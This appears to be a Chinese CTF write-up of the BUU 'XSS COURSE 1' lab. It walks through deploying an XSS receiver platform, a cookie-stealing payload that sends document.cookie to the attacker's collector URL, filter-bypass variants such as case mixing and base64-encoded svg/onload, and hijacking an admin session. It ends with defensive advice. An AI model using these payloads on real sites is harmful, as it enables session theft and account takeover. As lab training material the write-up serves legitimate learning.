1. XSS漏洞原理与BUU靶场初探第一次接触BUU靶场的XSS COURSE 1时我花了整整两天时间才搞明白为什么我的payload总是失效。这个靶场看似简单却暗藏玄机。XSS跨站脚本攻击本质上就是让浏览器执行不该执行的代码就像在餐厅点餐时偷偷修改了菜单让厨师按照你的指令做菜。BUU这个靶场设计得很巧妙它模拟了一个常见的留言板系统。当你打开靶机界面会看到两个入口登录和吐槽。根据题目提示我们很快就能锁定吐槽功能是突破口。我最初直接输入scriptalert(1)/script测试结果页面毫无反应——这就是新手常犯的错误以为所有XSS都能用标准payload触发。实际上现代网站都会做基础过滤这时候就需要变通。我尝试了IMG SRCjavascript:alert(XSS);虽然没弹出alert但页面出现了破损的图片图标这说明我们的脚本部分被执行了。这种渐进式的试探过程正是XSS实战中最有意思的部分。2. 从零搭建XSS接收平台很多教程都会教你用现成的XSS平台但真正要掌握这项技术必须自己搭建一次。我推荐使用开源的XSS平台代码比如xssplatform或BlueLotus_XSSReceiver。搭建过程其实很简单# 以xssplatform为例 git clone https://github.com/xxxx/xssplatform.git cd xssplatform pip install -r requirements.txt python manage.py runserver但这里有个坑大多数教程不会告诉你需要修改哪些配置才能正常接收数据。在我的实战中发现必须修改以下关键点在settings.py中配置ALLOWED_HOSTS为你的服务器IP修改templates中的default.html确保能正确显示接收到的数据配置项目的CORS策略否则靶场的响应会被浏览器拦截搭建完成后创建项目时会生成类似这样的payloadimg srcx onerrorscreateElement(script);s.srchttp://你的平台地址/collect?cookieescape(document.cookie);document.body.appendChild(s);这个payload的精妙之处在于使用img标签绕过基础的script过滤onerror事件确保即使图片加载失败也会执行动态创建script标签发送数据避免被CSP拦截3. 构造高级XSS Payload的技巧在BUU靶场中直接使用alert测试往往会失败。经过多次尝试我总结出几个有效的payload变形技巧大小写混淆ScRiPtalert(1)/sCriPtHTML实体编码lt;scriptgt;alert(1)lt;/scriptgt;利用JavaScript伪协议a hrefjavascript:alert(1)点击/a事件处理器body onloadalert(1)针对BUU这个特定靶场最有效的payload其实是svg/onloadeval(atob(YWxlcnQoJ1hTUycp))这个payload用了三重混淆使用SVG标签比img更不容易被过滤onload事件在元素加载时触发通过base64编码执行代码绕过关键词检测当这个payload被提交到吐槽框后访问对应的页面就能触发XSS。这时候我们的接收平台应该能看到类似这样的数据来源IP: 192.168.1.100 Cookie: admin_sessioneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... User-Agent: Mozilla/5.04. 完整漏洞利用链实战拿到管理员cookie只是第一步真正的挑战是如何利用它获取flag。在BUU靶场中我发现了两种有效方法方法一直接修改浏览器cookie打开开发者工具(F12)进入Application - Cookies添加新cookie名称填admin_session值填我们获取到的刷新页面即可获得管理员权限方法二使用Burp Suite拦截请求GET /admin HTTP/1.1 Host: buuoj.cn Cookie: admin_session窃取到的cookie值 User-Agent: Mozilla/5.0这个方法更接近真实渗透测试场景。实际操作中要注意确保时间戳有效有些session会过期注意HTTP Only标志这种cookie无法通过JS获取可能需要同时伪造其他头部字段当成功以管理员身份访问后台时页面源码中通常会包含类似这样的flag!-- flag{this_is_a_sample_flag} --整个攻击链条从漏洞发现到最终利用每个环节都可能遇到各种意外情况。比如在我的第一次尝试中就因为没注意cookie的作用域导致失败。后来发现BUU的cookie设置了Path/admin必须确保在正确路径下使用。5. 防御措施与实战思考在完成这个靶场后我仔细研究了它的防御机制。虽然题目本身存在漏洞但它也实现了一些基础的防护部分特殊字符过滤输出编码处理关键操作需要验证cookie从防御者角度我总结了几个加固建议// 使用CSP策略 Content-Security-Policy: default-src self // 关键cookie设置HttpOnly和Secure Set-Cookie: sessionidxxxx; HttpOnly; Secure; SameSiteStrict // 输入输出过滤 function sanitize(input) { return input.replace(//g, lt;).replace(//g, gt;); }实战中最深的体会是XSS漏洞的利用从来不是简单的复制粘贴payload需要根据目标环境不断调整策略。有时候一个看似简单的字符过滤就可能让标准攻击方法失效这时候就需要发挥创造力尝试各种变形和绕过技巧。